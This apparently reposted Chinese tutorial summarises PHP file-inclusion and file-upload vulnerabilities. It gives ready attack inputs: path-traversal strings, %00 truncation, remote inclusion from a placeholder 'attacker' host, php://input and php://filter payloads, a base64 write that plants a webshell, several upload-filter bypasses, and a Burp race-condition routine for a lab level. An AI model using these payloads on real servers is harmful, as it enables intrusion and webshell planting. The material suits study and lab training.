PHP常见函数
include()
包含并运行指定文件。
被包含文件先按参数给出的路径寻找,如果没有给出目录(只有文件名)时则按照 include_path 指定的目录寻找。如果在 include_path 下没找到该文件则 include 最后才在调 用脚本文件所在的目录和当前工作目录下寻找。如果最后仍未找到文件则 include 结构会发 出一条警告;这一点和 require 不同,后者会发出一个致命 错误。
include_once()
在脚本执行期间包括并运行指定文件。
可以用于在脚本执行期间同一个文件有可能被包含超过一次的情况下,想确保它只被包含一 次以避免函数重定义,变量重新赋值等问题。
fopen()
打开文件或者 URL。
require()
require()和inculde()除了在处理错误的方式不同之外,这两个函数在其他方面都是相同的。 require_once()
require_once 语句和 require 语句完全相同,唯一区别是 PHP 会检查该文件是否已经被包含 过,如果是则不会再次包含。
readfile()
输出文件
本地文件包含,代码上有加后缀的可以使用%00截断
条件PHP<5.3.4
magic_quotes_gpc=off
一、当PHP magic_quotes_gpc=on
如果此时你对输入的数据作了addslashes()处理,
那么在输出的时候就必须使用stripslashes()去掉多余的反斜杠。
如果仅为magic_quotes_gpc=on,无再对写入数据库的字符串未经过任何处理。从数据库读出的 字符串未作任何处理,则sql语句顺利执行,数据成功写入数据库,数据库保存格式和输出数据格 式都和输入一样,不带反斜杠
二、当PHP magic_quotes_gpc=off
必须使用addslashes()对输入数据进行处理,但并不需要使用stripslashes()格式化输出
因为addslashes()并未将反斜杠一起写入数据库,只是帮助mysql完成了sql语句的执行。数据库保 存格式和输出数据格式都和输入一样,不带反斜杠
在PHP6中删除了这个选项,一切的编程都需要在 magic_quotes_gpc=Off下进行了
路径长度按阶级
?file=../../../../../flag.txt
?file=../../../../../../../etc/password/../../../..........
Linux需要文件名长度4096;windows大于256
点号截断只适用于windows大于256
远程文件包括
要求 allow_url_include=ON
例如:
<?php
if ($route=="share")
{ require_once $basePath . '/action/m_share.php';}
elseif($route == "sharelink")
{ require_once $basePath . '/action/m_sharelink.php';}
?>
在变量 $basePath 前没有设置任何障碍,因此攻击者可以构造类似如下的攻击URL:
?param=http://attacker/phpshell.txt?
最终执行
require_once 'httpL//attacker/phpshell.txt?/action/m_share.php';
问号后面的代码被解释成URL的querystring,也是一种“截断”,这是在利用远程文件包含漏洞时的 常用技巧。同样的 %00 也可以做截断符号。
普通文件包含
?file=[http|https|ftp]://exple.com/shell.php
利用php流input
?file=php://input
php://input 利用php流filter
POST
enctype=multipart/form-data
# 用base64编码的方式来读文件index.php;这时页面会显示出源文件index.php经过base64编码后的内 容。
?file=php://filter/read=convert.base64-encode/resource=index.php;
php://filter
php
filter
使用不同的参数可以达到不同的目的和效果:
名称 |
描述 |
备 注 |
resource=<要过滤的 数据流> |
指定了你要筛选过滤的数据流。 |
必 选 |
read=<读链的筛选列 表> |
可以设定一个或多个过滤器名称,以管道符(|)分隔。 |
可 选 |
write=<写链的筛选列 表> |
可以设定一个或多个过滤器名称,以管道符(|)分隔。 |
可 选 |
<;两个链的筛选列表> |
任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应 用于读或写链。 |
另外用read的解释:
<?php
# 这样会大写字母输出 www.example.com 的全部内容
readfile("php://fileter/read=string.toupper/resource=http://www.example.com"); # 和上面一样,但是还会进行ROT13加密
readfile("php://fileter/read=string.toupper |
string.rot13/resource=http://example.com")
?>
上例中我们应用了read参数和resource参数,当然还可以用write参数,这时我们可以通过指定写的方 式来对文件进行一些改变;
例如:
# txt后是一句话加密的,a是额外加的
# 这样就把txt的内容写入到了shell.php
txt=aPD9waHAgcGhwaW5mbygpOyA/Pg==&file=php://filter/write=convert.base64- decode/resource=shell.php
需要开启
allow_url_include=on
文件上传
file_uploads=off
(1)前端检测
(2)检测文件类型
content-type
(3)黑名单绕过
php2
php3
php4
php5
phtml
pht
jpg
png
gif
...
(4).htaccess绕过
没有禁止.htaccess 后缀
(AddType
application/X-httpd-php.xxx)
setHandler application/x-httpd-php #所有文件都会解析 为php
(5)大小写转换
# strtolower 将字符串转换为小写
没有 strtolower(); 转换为小写
(6)后缀名加空白方式(仅限windows)
# trim 去除字符串首尾处的空白字符(或者其他字符)
没有 trim(); 首尾去空
(7)后缀名点绕过(仅限windows)
没有 deldot(); 文件名末尾去点
(8)::$DATA
# php在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名. 且保持"::$DATA"之前的文件名他的目的就是不检查后缀名....
没有使用 str_ireplace(); # 替换函数(忽略大小写)
str_ireplace('::DATA','',$file_ext) # 把::DATA 替 换为 空
(9)文件名后加 . .
upload_add 文件路径
在文件路径拼接的时候如果iis情况下可以利用解析漏洞创建xxx.php/文件加
可以使用在文件名后加 .空格. 的方式来过滤,有了空格后,PHP会将 空格的内容当做文件的尾
(10)双写绕过
是用了替换函数 str_ireplace(); # 将php等后缀替换为了空
(11)%00截断
php<5.3.29 且关闭 magic_quotes_gpc 有文件上传漏洞的
post下的%00截断
这里的save_path的传递方式改为了post
同样使用%00截断但是需要urldecode一下,因为默认的 urldecode,但是post和cookie等其他方式则没 有,所以这里需要 手动urldecode一下
修改文件头上传图片木马
getimagesize() 图片码绕过
getimagesize(); # 函数用于获取图像的大小及相关信息,成功返回一个数组
exif_imagetype(); # 判断一个图像的类型
条件竞争
这个是upload-17关
先将文件上传到服务器,然后判断文件后缀是否在白名单里,如果在则重命名,否则删除,因此我们可 以上传1.php只需要在它删除之前访问即可,可以利用burp的intruder模块不断上传,然后我们不断的 访问刷新该地址即可
创建一个php文本文件
上传使用BurpSuite抓包发送的intruder模块进行Clear$
修改User-Agent将其Add$
设置payloads选择Number,执行次数1000次
点击start attack进行攻击
攻击是在页面输入你之前上传的php文件名字,不断进行刷新
本文始发于微信公众号(LSCteam):文件包含漏洞总结
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论